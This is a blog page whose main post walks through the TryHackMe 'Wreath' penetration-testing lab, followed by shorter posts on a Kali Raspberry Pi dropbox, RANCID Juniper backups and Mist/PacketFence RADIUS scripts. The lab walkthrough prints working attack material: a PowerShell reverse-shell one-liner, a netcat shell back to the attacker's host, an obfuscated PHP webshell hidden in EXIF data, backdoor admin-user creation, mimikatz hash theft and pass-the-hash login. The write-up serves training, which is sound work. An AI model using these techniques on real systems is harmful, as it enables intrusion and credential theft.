Coding Computers Hacking Linux Networks Servers

TryHackMe – Wreath Network

So over the past couple of weeks, I decided to go through the TryHackMe room: Wreath. This room is designed to better understand an entire Pen Testing engagement with a potential customer.

This room is really good at going through some very key points that I haven’t found anywhere else (yet) on the TryHackMe website. The room specifically looks at, Pivoting, Anti Virus Evasion and Comand and Control system. All three of these are brilliant topics to get your head into and TryHackMe does a great job of providing enough information without overloading you.

The first point of the room is to give you a brief of the engagement which has the following key points:

There are three machines on the network
There is at least one public-facing webserver
There is a self-hosted git server somewhere on the network
The git server is internal, so Thomas may have pushed sensitive information into it
There is a PC running on the network that has an antivirus installed, meaning we can hazard a guess that this is likely to be Windows
By the sounds of it, this is likely to be the server variant of Windows, which might work in our favour
The (assumed) Windows PC cannot be accessed directly from the webserver

The Web Server

So the first thing to do is begin with some enumeration of the network. The subnet changes each time the network is reset, so you may need to be careful if you take more than a day or two on the entire room. Enumerating the network using Nmap to identify what devices are available. The lowercase x below is because you should configure this to be whatever TryHackMe tells you at the moment it is .90.X:

nmap -Pn 10.200.x.X/24 

Once initial scanning is done and you’ve identified the webserver (it should be the only server available) then you can perform a more in-depth Nmap scan:

nmap -sS -sC -sV -O -A 10.200.X.X

This will return a few services available on the web server. One of these services has a critical CVE from 2019. A quick search using searchspolit on Kali of ExploitDB online will provide you with the exploit’s Proof Of Concept (POC). Use this python exploit to gain access to the system. It is advisable to read the code to better understand what the exploit is and how it can be leveraged. This exploit is particularly bad as the service runs as Administrator/Root so once we’ve used the exploit we will get a shell as root.

OK, so now we effectively own that machine we need to stabilise our access. The best way to do this is to see if we can find SSH keys for our root user which we can then use to remote in moving forward.


So now that we have access to the web server we need to get access to the next server in the network. To do this you want to follow the five steps outlined in the room:

Using material found on the machine. The hosts file or ARP cache, for example
Using pre-installed tools
Using statically compiled tools
Using scripting techniques
Using local tools through a proxy

It is worth reading all the room has to offer on different tools for Pivoting, there are some amazing tools available. I personally really like socat but have used ProxyChains before too.

As per the recommendation, we can use statically compiled tools to run on the Web Server to gather additional information about our next target. To do this you can download a static variant of Nmap from here:

The upload it to the webserver you compromised. There are a variety of ways you can do this, either using cURL or SCP as we have SSH access. Once uploaded we can use our copy of Nmap to scan the network again and find whatever IP address is available. As we may be able to identify some devices which are Windows we should assume all devices are up without allowing ICMP/Ping. Windows blocks this by default:

./nmap -sn 10.200.X.X-X -oN scan-Username

There are two devices that we can now see on the network, one which has some open ports and another which is filtered, so we know the other exists but we’re blocked from accessing it. Based on the brief we must assume that the filtered device is the Personal Computer with the Anti-Virus installed on it. Let’s park that one for now and concentrate on the Git Server. We’ve found a few ports open and an application which has a vulnerability.

Now to get access to the system we need to pivot through the web server we’ve already compromised. I personally tried to get this to work with Socat but struggled mainly because I wasn’t experienced with Firewall changes in CentOS. Follow the guides of TryHackMe and use the shuttle it’s really easy to use and takes one line to get a pivoted connection:

sshuttle -r root@ --ssh-cmd "ssh -i id_rsa"

Now we can start investigating the open ports we found. There’s a particular web application available on this server that again has a particularly bad vulnerability. We can run this python2 script to create a backdoor on the GitStack server which we can then use to run commands on the server to gather further information.

Socat Listener/CentOS Firewall

We now need to set up a Socat listener between the Web Server and our Kali attacking machine to allow the connection from the GitServer back through to our Kali machine for a reverse shell. The first thing here is the create a Firewall rule to allow the Socat connections through:

firewall-cmd --zone=public --add-port 16000/tcp

Now that we have a port open we can upload Socat to the Web Server, again using cURL or SCP and create the connection back to the Kali server:

./socat tcp-l:16000 tcp: &

Now if we open a netcat listener on our Kali machine on port 443 we can run the Powershell script in the next section to get a shell.

Powershell/Reverse Shell

The main thing is here we can use the backdoor to create a reverse shell using Powershell and encoding the command for URL

powershell.exe -c "$client = New-Object System.Net.Sockets.TCPClient('IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

This should give us a pseudo shell once we replaced the ‘IP’ and PORT part of the command above with the IP of the Web Server and the port you opened up.

Stabalisation & Post Exploitation

Now that we have a connection onto the GitServer we need to ensure that we can get connected again should we lose connectivity through this PowerShell reverse shell. To do this, because we are SYSTEM we have full administrator rights. Let’s create a new user and grant them full admin rights:

net user <username> <password> /add
net localgroup Administrators <username> /add
net localgroup "Remote Management Users" <username> /add

This now gives us a user that we can use to log into the machine as a local admin. The ports that we found when performing our Enumeration work gives us some options available to us. One is RDP and the other is WinRM.

The room takes you through installing freerdp2-x11 which is a really useful utility as you can add shares from your local machine (Kali) so gaining access to tools such as mimikatz becomes as simple as one command:

xfreerdp /v: /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share

In this command, we’re logging into the server and creating a SMB share called “share” which routes back to /usr/share/windows-resources. We can then load any of our exploits/resources in that folder directly into memory through the share.

We can now run mimikatz to capture hash files of all of the users now we’re logged in as an administrator. Load mimikatz and run the following commands:


We can now store the NTLM hashes to try and crack them and if we cannot we can still use them later on. To create an alternative form of access we have WinRM at our disposal and now we have the NTLM hashes we can use them. Install evil-winrm:

apt get install evil-winrm

Now we can remote into the server using evil-winrm with our administrator hash:

evil-winrm -u Administrator -H <AdministratorHash> -i

Command and Control

Now this section is awesome not only because the introduced software is very well written and works amazingly, but whoever wrote it decided to name it Empire and the GUI Starkiller. For anyone who loves Star Wars like me, this is amazing.

The way this system works is there is a command server, usually your Kali machine or if you’re doing this for a career a Linux machine somewhere in the cloud. This command server has a listener or number of listeners on it, waiting for connections from your agents. These listeners come in various options but the most used ones are HTTP and HTTP-Hop mainly because they can blend into normal day-to-day traffic easier.

The next part is the stager, this is a script/command that creates our agent. This comes in a number of forms but Bash and Powershell are the ones introduced in the Wreath room. Once these stagers are run on your compromised machine they will create an agent connection back to your control server. Once connected you will be able to run commands as if you were on the agent through the command server.

I mentioned in the part about listeners about HTTP-Hop, this is a special listener because it allows you to set up a hop station should you be pivoting around a network. What this essentially does is allows us to take an entry point in the network and make use of it as a “jump” server between our command server and a compromised device that doesn’t have internet connectivity for example:

Command Server <—–> Web Server <—-> Compromised Machine

Take the points above, the compromised machine doesn’t have connectivity to the internet however, it does have connectivity to the web server and the web server has connectivity to the internet. In this case, we have a listener set up to communicate from the Web Server back to our Command Server, what we can do is create an HTTP-Hop listener and install it on the Web Server which will redirect the traffic from the Hop to the original listener installed. Then on the compromised machine, we tell the stager to connect to the Hop listener and hey presto connectivity from the command server through the web server to the compromised machine.

Personal Computer

OK, so we now have full control over both the Web Server and GitServer as well as a couple of ways to access both. From here the next step was to start enumerating the final device in the network. We know from previous enumeration attempts we were being filtered on the Web Server when we tried to connect to this computer .100 but now we have access to the GitServer we can try and run a port scan.

To do this we can upload a Powershell script through Evil-WinRM:

evil-winrm -u Administrator -H <hash> -i -s /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/

Now using PowerShell we can initialise the script we want called Invoke-Portscan.ps1 from the network folder we added in the previous command:


Finally, to enumerate the Personal Computer we can run that script:

Invoke-Portscan -Hosts -TopPorts 50

Further Pivoting

TryHackMe recommends making use of Chisel and their Forward Proxy service. The only real requirement before connecting to the Personal Computer is setting up a firewall rule on the GitServer:

netsh advfirewall firewall add rule name="Chisel-FP" dir=in action=allow protocol=tcp localport=16000

I’ve chosen port 16000 here as the port that we will connect through to get connected to the Personal Computers website. Then we can upload the chisel executable to the GitServer and run it using the port configured before:

.\chisel.exe server -p 16000 --socks5

Now were half way there to having this connection open. We need to connect from our attacking machine (Kali) to this chisel server. We do this by using chisel to connect to the GitServer:

.\chisel client 9090:socks

Finally, if we set up a proxy on our browser using something like FoxyProxy to go via port 9090 on a SOCKS5 connection we can then browse the website using: HTTP://

Git Goodness

By now we’ve taken a look at the site hosted on the personal computer and identified that it’s a carbon copy of the original site we saw on the web server. Looking at the GitServer however, we can see there is a repository on it in the directory: C:\GitServer\repositories\Website.git. We can download this git file and use a tool to extract its content.

First clone the tool on your attacking machine:

git clone

Next use the file extract all of the contents from the Website.git file to a new folder, I’ve called my DevelopmentServer:

./ ./website.git DevelopmentServer

Now we can run a quick bash one liner to identify the latest version of the site:

separator="======================================="; for i in $(ls); do printf "\n\n$separator\n\033[4;1m$i\033[0m\n$(cat $i/commit-meta.txt)\n"; done; printf "\n\n$separator\n\n\n"

This looks at the commit-meta.txt file in each folder extracted in the DevelopmentServer folder and outputs the information. From here we can see there are three main IDs:

  1. 70dde80cc19ec76704567996738894828f4ee895
  2. 82dfc97bec0d7582d485d9031c09abcb5c6b18f2
  3. 345ac8b236064b431fa43f53d91c98c4834ef8f3

If you look closely at the output you can see two of these have parent IDs against them making them not the root commit but a child one. As a result, we can rule out the one without a parent as that was the first upload of the website. Then if we find the ID with the parent ID of the original website we can rule that out as the second update, leaving the third and final commit as the latest edition of the website. In this case, the 3rd ID in the list above is the latest.

From here we can try and find if there’s a vulnerability in the site we can take advantage of. As we know the site uses PHP as before we can search for PHP files in that directory using the find command:

find . -name "\*.php"

The result is a single file called index.php, there are some interesting comments on things that need to be sorted, one of the main ones being that the resources folder is protected by basic auth. Here is where human habits come in, we cracked Thomas’ password in a previous step, let’s see if he is using it here, go to the website HTTP:// and login with Thomas and the password from the NTLM hash taken using mimikatz. Once being the auth we can see that it’s an upload function, however, there are some filters in place which we should have identified in the index.php file:

$size = getimagesize($_FILES["file"]["tmp_name"]);
if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size){
    header("location: ./?msg=Fail");

This filter checks for the size of the image through EXIF data to ensure that it is an image using the getimagesize function. The final part of the function checks if the file has the correct extension. The second part to bypass is easy as it’s hard coded to explode out the filename using . as the delimiter and only returning the number 1 array item. To get around this we can simply upload a file called image.jpg.php. The explode function takes image as array item 0, jpg as array item 1 and PHP as array item 2.


OK, so we know what we’re working with, time to exploit it. To do this we can use exiftool to create a PoC. Download an image and run exiftool to add a PHP comment:

exiftool -Comment="<?php echo \"<pre>Test Payload</pre>\"; die(); ?>" example.jpeg

What we have done here is implement some PHP code in the comment of the EXIF data which just outputs a piece of HTML on the screen. Next we add the PHP extension to the file and upload it through the website:

mv example.jpeg example.jpeg.php

If we now go to the resources uploads folder we should be able to run the file and see if we get the expected output:


We do, this is awesome, now we have the ability to run code remotely. Before we can upload a file to run a remote shell we need to review what we were told about this computer: There is a PC running on the network that has an antivirus installed, meaning we can hazard a guess that this is likely to be Windows. OK so we need to run some obfuscation to get past the antivirus. First let’s create the payload:

    $cmd = $_GET["awesomecommand"];
        echo "<pre>" . shell_exec($cmd) . "</pre>";

Time to obfuscate it, go to the following website and select every option for obfuscation and click Obfuscate Source Code:

Now the uploader won’t like you uploading the same filename, this was shown in the PHP source code from the Git repository however, we can run exiftools again to input the new comment with the new obfuscated source code, change the filename with the mv command and upload it. When you go to the new web page you will hopefully be presented with an error of “Undefined Index”, if you do you’ve done it. The reason why is because the exploit code is expecting a URL parameter of awesomecommand so if go to the following web address we should get back the response of the shell command whoami:


Brilliant, now we have a foothold, let’s get a full shell. To do this, download a statically compiled version of netcat, you can get one from here:

git clone

Next, we can set up an HTTP server (python3 -m http.server 80) on our attacking machine and use cURL to download the nc.exe to a location of our choosing. The room says to use the temp folder within Windows, however, I had trouble with that, a much safer and more guaranteed option is to use the tasks folders as that’s world writable:

HTTP:// -o c:\windows\tasks\nc-USERNAME.exe

The connection should get established and the nc.exe file will be downloaded to the windows\tasks folder. Right almost, there we have the means to get a shell, let’s run it, on our attacker machine setup a netcat listener: nc -lvnp 4444

Now run a PowerShell command to run the newly downloaded netcat executable to connect to our attacking machine:

HTTP:// c:\windows\temp\nc-USERNAME.exe 4444 -e cmd.exe

Mileage may vary here and the port may need to be changed, if you don’t get a connection, use one of the well-known ports, 80, 443 etc.

Privilege Escalation

What a journey, now the final piece get root/administrator on this Personal Computer. The first thing here is to enumerate the system to see what we can exploit to get full rights. Follow the room here as there are some cool commands that can be run to get a better understanding of what’s available. Here I will just use this command which is important:

wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"

This command searches for all non-windows services. One of them has a PathName which isn’t in quotation marks, we then use this command to check if it runs under a local admin account:


The final part of the enumeration is to check if we have rights to the folder for and exploit:

powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list" 

The enumeration is now done, we have a service which hasn’t been quoted and as spaces in it and is run as an admin as well as permission to write in the folder where the service resides. The way this works is because the service isn’t in quotation marks it runs through each word looking for the file in that folder, here is an example pulled from the room:

C:\Directory One\Directory.exe
C:\Directory One\Directory Two\Executable.exe

So, let’s write some code on our attacker machine to get a new reverse netcat connection but under the service which is the administrator. You can follow the room here as it’s exactly what I did, the end result is you have a wrapper.cs file (c sharp) which we can then compile into an executable:

mcs wrapper.cs

It’s good to follow the room here for getting the new wrapper.exe file onto the Personal Computer as it showcases an alternative method for copying files around, however, for this blog we will just use a simple HTTP server: python3 -m http.server 80

Again like before I uploaded this to the tasks folder using cURL rather than the temp folder. Finally now that we have got it uploaded we need to move the new file into a location before where the service is and restart the service:

copy c:\windows\tasks\wrapper.exe "C:\Program Files (x86)\System Explorer\System.exe" 
sc stop SystemExplorerHelpService 
sc start SystemExplorerHelpService

Before you start the service, set up a netcat listener on the port you specified in your wrapper. The service will not start correctly as it’s loading our file but we do get a reverse shell and we’re on as an administrator. SUCCESS, we’ve done it, got control of the entire network.


There’s been a lot of learning in this room but there have been some topics that have really been beneficial for me.


Whilst I had knowledge of this technique and used it when completing my eJPT exam I didn’t have a great understanding of it and how best to use it. Going through different applications that can be used for this has been great and has given me a better understanding of what to use and when.

Command & Control (Empire & Starkiller)

What to say about this, I’m a huge Star Wars nerd so just the names are truly awesome. However, I built a Command and Control system through the book Black Hat Python (explained here: and whilst I know it works and my system runs off GitHub as per the book I didn’t appreciate exactly how I could build out my system. Now I’ve had some time with Empire/Starkiller I have gained some new ideas on how to make my system better.

Coding Computers Hacking Linux Networks

Kali Dropbox

#Please note any links in this article are affiliate links. You will not be charged extra if you use these links however, I will get some kickback if you do so thank you.

As part of performing a Penetration Test, it is often good practice to try and get a device on the internal network, especially if performing a physical test. There are loads of ways of doing this with guides available from YouTube and other blog sites but I thought I would write up how I’ve done it in case, someone comes across this page and is intrigued. This should be pretty straightforward now as I’ve spent quite some time writing custom scripts to create reverse connections and other things to then realise you can just use a VPN connection.

So to the hardware then; here is a kit list of everything that I’ve got:

*Not strictly necessary but it does mean you can connect to a network if it’s PoE capable without the need for a Power supply

First things first, don’t be the idiot that I was and try and install the Pi into the case with the Micro SD card installed. It’ll cost you £10 for a replacement!

So now that we have everything we need, let’s get Kali installed on the SD Card. This is pretty easy as Kali have an ARM variant of their operating system Download the image specific for your device. To get the image onto your SD card there are a few options for imaging software the one I use is called Etcher by Balena: It’s really easy to use, however, I did get an error message when adding my Kali ARM image stating it couldn’t be written properly. I ignored it and installed the SD Card in the Pi and the works fine.

Next we need to decide on how we’re going to connect out to our command and control system. As mentioned above, I went off on a complete tangent with this and tried creating my own Python script to be able to connect out and open a reverse connection. In the end this wasn’t necessary at all. As every business has an internet connection and the main use of this is web browsing using an SSL VPN service is almost always going to be open. To make this work Kali has OpenVPN already installed so you just need to set up a service which your Dropbox can connect to. In my case we’ve already set up a VPN service to our office which is available on TCP/443. All I needed to do is download the OpenVPN config file from my VPN server set the connection request to TCP/443 (default is UDP/1194) and connect up.

We’ve now got a device that can connect up to a remote service from anywhere in the world providing we run that script. Let’s get this to run on boot. To do this we need to enable OpenVPN from boot using this command: systemctl enable OpenVPN

This starts the service on boot and by default looks for a config file in /etc/openvpn/openvpn.conf. Moving our config file and renaming it to openvpn.conf in that location will solve this riddle. Now on boot it automatically starts OpenVPN and connects up to our VPN service. This is great the final piece is to have some error checking, should the VPN go down for whatever reason we need something to attempt to re-establish the connection and/or test for any internet connectivity problems. To solve this we will use a Python script and a Cron Job which will run the script every 5 minutes.

import http.client, urllib
import socket
import ipaddress
import os
import time
from netifaces import AF_INET, AF_INET6, AF_LINK, AF_PACKET, AF_BRIDGE
import netifaces as ni

def CheckIPAddress():
       SocforIP = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
       SocforIP.connect(("IP of VPN Network", 80))
       vpnIP = SocforIP.getsockname()[0]
       if ipaddress.ip_address(vpnIP) in ipaddress.ip_network('Subnet of VPN Network'):
          VPNOn = CheckifVPNOperational()
          if VPNOn != None:
             return VPNOn
          return vpnIP
          return ""
       return ""

def CheckIfAddressDifferent(IpAddress):
        file = open("StoredIP.txt")
        line = file.readline()
        OriginalIP = line.split(",")[0]
        if(OriginalIP != IpAddress):
            with open("StoredIP.txt", 'w') as OpenFile:
                OpenFile.write(str(IpAddress) + "," + str(time.time()))
                SendNotification("Tap Interface of the-box has change and is now: " + IpAddress)
        with open("StoredIP.txt", 'w') as file:
            file.write("new file opened")

def SendNotification(Message):
    PushoverConnection = http.client.HTTPSConnection("")
    PushoverConnection.request("POST", "/1/messages.json",
            "token": "xxxxxx22222222",
            "user": "xxxxxxx33333333",
            "message": Message,
            "title": "Dropbox has connected to the VPN"
        }), {"Content-type": "application/x-www-form-urlencoded"})
    response = PushoverConnection.getresponse()

def CheckforInternetConnectivity():
    response = os.system("ping -c 1")
    if response == 0:
        os.system("systemctl restart openvpn")
        ipaddressfound = CheckIPAddress()
        if ipaddressfound == '':
        with open("StoredIP.txt", 'w') as file:
            file.write("There is no internet connectivity," + str(time.time()))

def CheckifVPNOperational():
    response = os.system("ifconfig tun0")
       if "Device not found" in response:
         os.system("systemctl restart openvpn")
    except Exception as e:
         tun0ip = ni.ifaddresses('tun0')[AF_INET][0]['addr']
         return tun0ip

if __name__ == '__main__':
    ipaddressfound = CheckIPAddress()
    if ipaddressfound != '':

Finally to run a Cron Job every five minutes you need to set the timings as follows: */5 * * * python3


Automatically backing up Juniper switch configs

Over the past few years I’ve spent a considerable amount of time trying to find an cheap or free solution for backing up network devices at my workplace. As we were completely a Cisco house this lead be to installing RANCID on Ubuntu. This was a brilliant solution only taking a couple of hours to implement and backup the entire network.

Fast forward 8 years and things have changed dramatically, my workplace is no longer a Cisco only house, implementing Dell, Juniper, Fortinet and Cisco device into the network. This in turn has caused quite a bit of pain in getting our backups to work effectively. Our most recent requisition was some Juniper EX series switches. Investigation suggested that RANCID is capable of backing up Juniper equipment but it took some messing about to make it work. Here are the steps I have implemented to be able to get a backup of the switches:

  1. Software used:
    Ubuntu Linux
    RANCID 3.7
  2. Juniper Config
    Install a class specifically for the backup user:
set system login class backup permissions access
set system login class backup permissions admin
set system login class backup permissions firewall
set system login class backup permissions flow-tap
set system login class backup permissions interface
set system login class backup permissions network
set system login class backup permissions routing
set system login class backup permissions secret
set system login class backup permissions security
set system login class backup permissions snmp
set system login class backup permissions storage
set system login class backup permissions system
set system login class backup permissions trace
set system login class backup permissions view
set system login class backup permissions view-configuration

Install a new user and tie to the newly created class:

set system login user backup class backup
set system login user backup authentication plain-text-password

This isn’t ideal and the best way would be to implement the user with an SSH key-pair rather than passwords that way the RANCID server doesn’t have your network passwords in a plain text file.

3. RANCID Config

Here I have needed to make some modifications. First of all if you already have backups and are re-using the management addresses when migrating delete the files from the config folder and also the Entries file in the CVS folder of each individual site.

Modify your router.db file in your site folders to be the following for each of your juniper switches:


Next you will need to modify the base file for types within RANCID, for me this was in /etc/rancid. In this file fine the following line:

juniper;command;junos::ShowConfiguration;show configuration

and change it to this:

juniper;command;junos::ShowConfiguration;show configuration | display set

If required, modify your .cloingrc file to include your newly created user and password here is what I did as a test:

add method ssh
add user backup
add password passwordsetinjuniper

Then I needed to modify the junos perl script, for Ubuntu and the default install location this is in /usr/share/perl5/rancid/ The following line needs to be commented:

next if (/^## last commit: /i);

Finally if you’re running this in Ubuntu run the login for Juniper to ensure that the server can login to switch successfully:

/usr/lib/rancid/bin/jlogin -f /var/lib/rancid/.cloginrc junipermgmtIP

If all is well and you can successfully login proceed to running the rancid-run file and monitor the logs to confirm the configuration have backed up:

sudo su -c /var/lib/rancid/bin/rancid-run -s /bin/bash -l rancid


Mist/PacketFence Web Auth

Please note this is not supported by PacketFence/Inverse at the time of writing

There aren’t really any guides out there for Mist and Packetfence integration. During our time working with the Mist engineers we were able to get the authentication services working between Mist and PacketFence. We’ll submit this as a PR to Packetfence in the hope that it’s included in the main release.

Mist Configuration

To make this work you need to configure the Mist system with an SSID with the following security parameters:

Security Settings
Radius Settings
CoA Settings

From here the Mist system attempts to authenticate the device using RADIUS-MAB against the PacketFence system. Should PacketFence not authenticate the device, it returns a redirect request for the device which the Mist AP picks up and forwards to the client so that they can register.

The CoA settings are required here as, should the user no longer become registered e.g. PacketFence times out the device, then a CoA is sent to the Mist system for the device to be disassociated from the wireless environment.

PacketFence Configuration

Firstly, the perl script will need to be installed into the PacketFence environment so PacketFence understand hows to communicate with Mist and to perform the CoA requests as per the configuration. To access this please visit here:

Mist uses the APs as a RADIUS Authenticator so each AP will need to be installed as a “Switch” in the PacketFence configuration. We have created a script to do this as PacketFence do not provide a POST in their API Documentation for config/switches as well as deployment of RADIUS to NPS which is available here:

However, should you only need to deploy one or two APs as part of a PoC then the switch settings required are as follows:

IP Address: Ip Address of the AP
Type: Cisco::Mist
Mode: Production
Deauthentication Method: RADIUS
Use CoA: Yes

Role by VLAN ID: Off
Role by Switch Role: Off
Role by Access List: Off
Role by Web Auth URL: On

Secret Passphrase: RadiusSecretKey


Mist – NPS and PacketFence Radius Scripts

Here is a generic script for importing Mist APs into Microsoft’s NPS RADIUS Server and Packetfence’s Switching configurations:

Mist Setup

$Headers = @{
Authorization = "Token xWH84fgSnZTBMfA2eC9azGqNR2RFfgpmRGo9FGbaw0DlTm6enmfrK0cxkIYtEhdEvvRZesWddU222vHT82hnb0eSZecswe1iWl9h7C"
$Sites = @("771cb8f4-83ac-4385-bf4b-a68a61a8c853", "32f7bd38-9f01-4a3e-81b0-d4afbbc10f12", "e6f6d5c8-4dc9-4a55-ba76-1a903ec5d3f4", "d1320dcc-1e38-4d10-8518-19d844c119f4", "c8d2c1ea-76dd-4183-8cd4-5efcf3de6c4a", "b67b5694-03c2-4155-9b3d-751484b58c65", "dfcd013d-17b3-4805-9b91-2c86f70f3936" )
$SiteNames = @("Site 1", "Site 2", "Site 3", "Site 4", "Site 5", "Site 6", "Site 7")

packetfence setup

$LoginParams = @{"username"="admin";"password"="supersecretpassword"}
$PFLogin = Invoke-WebRequest -Uri "" -Method POST -Body ($LoginParams|ConvertTo-JSON)
$PFToken = ConvertFrom-Json $PFLogin.Content
$PFToken = $PFToken.token
$PFHeaders = @{
Authorization = "Bearer $PFToken"

System Loop

for($i=0; $i -lt $Sites.length; $i++)
	Write-Host "Performing checks on site:" $SiteNames[$i]
	$Uri = "" + $Sites[$i] + "/stats/devices"
	$APStats = Invoke-WebRequest -Uri $Uri -Headers $Headers -ContentType "application/json"
	$Converted = ConvertFrom-Json $APStats
	$CurrentNPSClients = Get-NpsRadiusClient
	Foreach($AP in $Converted) {
	#check NPS and if the RADIUS Client doesn't exist create a new entry
	$ClientCheck = $false
	$NewNameObject = $
	$CurrentNPSClients | ForEach-Object {
		If($_.Name -eq $NewNameObject)
			$ClientCheck = $true
	Write-Host "Is the AP already configured in NPS:" $ClientCheck
	if($ClientCheck -eq $false)
		New-NpsRadiusClient -Name $ -Address $AP.ip -SharedSecret "RadiusSharedSecret"

		#check PacketFence to see whether there is a RADIUS Client if not create one
			$URIPF = "" + $AP.ip
			$PFSwitch = Invoke-WebRequest -Uri $URIPF  -Headers $PFHeaders -ContentType "application/json"
			Write-Host "The AP already configured in PacketFence:" $AP.ip
			Write-Host "Adding the following AP to PacketFence:" $AP.ip
			$IP = $AP.ip
			$Desc = $
			$PostValues = @{"AccessListMap"=$null;"ExternalPortalEnforcement"="Y";"REJECTAccessList"=$null;"REJECTRole"=$null;"REJECTUrl"=$null;"REJECTVlan"=$null;"RoleMap"=$null;"SNMPAuthPasswordRead"=$null;"SNMPAuthPasswordTrap"=$null;"SNMPAuthPasswordWrite"=$null;"SNMPAuthProtocolRead"=$null;"SNMPAuthProtocolTrap"=$null;"SNMPAuthProtocolWrite"=$null;"SNMPCommunityRead"=$null;"SNMPCommunityTrap"=$null;"SNMPCommunityWrite"=$null;"SNMPEngineID"=$null;"SNMPPrivPasswordRead"=$null;"SNMPPrivPasswordTrap"=$null;"SNMPPrivPasswordWrite"=$null;"SNMPPrivProtocolRead"=$null;"SNMPPrivProtocolTrap"=$null;"SNMPPrivProtocolWrite"=$null;"SNMPUserNameRead"=$null;"SNMPUserNameTrap"=$null;"SNMPUserNameWrite"=$null;"SNMPVersion"=$null;"SNMPVersionTrap"=$null;"UrlMap"="Y";"VlanMap"="N";"VoIPCDPDetect"=$null;"VoIPDHCPDetect"=$null;"VoIPEnabled"=$null;"VoIPLLDPDetect"=$null;"cliAccess"=$null;"cliEnablePwd"=$null;"cliPwd"=$null;"cliTransport"=$null;"cliUser"=$null;"coaPort"=$null;"controllerIp"=$null;"deauthMethod"="RADIUS";"defaultAccessList"=$null;"defaultRole"=$null;"defaultUrl"=$null;"defaultVlan"=$null;"description"="$Desc";"disconnectPort"=$null;"gamingAccessList"=$null;"gamingRole"=$null;"gamingUrl"=$null;"gamingVlan"=$null;"group"="default";"guestAccessList"=$null;"guestRole"=$null;"guestUrl"=$null;"guestVlan"=$null;"id"="$IP";"inlineAccessList"=$null;"inlineRole"=$null;"inlineTrigger"=$null;"inlineUrl"=$null;"inlineVlan"=$null;"isolationAccessList"=$null;"isolationRole"=$null;"isolationUrl"=$null;"isolationVlan"=$null;"macSearchesMaxNb"=$null;"macSearchesSleepInterval"=$null;"mac_trigger"=$null;"mode"=$null;"port_trigger"=$null;"radiusSecret"="RadiusSharedSecret";"registrationAccessList"=$null;"registrationRole"=$null;"registrationUrl"="";"registrationVlan"=$null;"ssid_trigger"=$null;"type"="Cisco::Mist";"uplink"=$null;"uplink_dynamic"="dynamic";"useCoA"="Y";"voiceAccessList"=$null;"voiceRole"=$null;"voiceUrl"=$null;"voiceVlan"=$null;"wsPwd"=$null;"wsTransport"=$null;"wsUser"=$null}
			$PFAddSwitch = Invoke-WebRequest -Uri "" -Method POST -Headers $PFHeaders -Body ($PostValues|ConvertTo-JSON)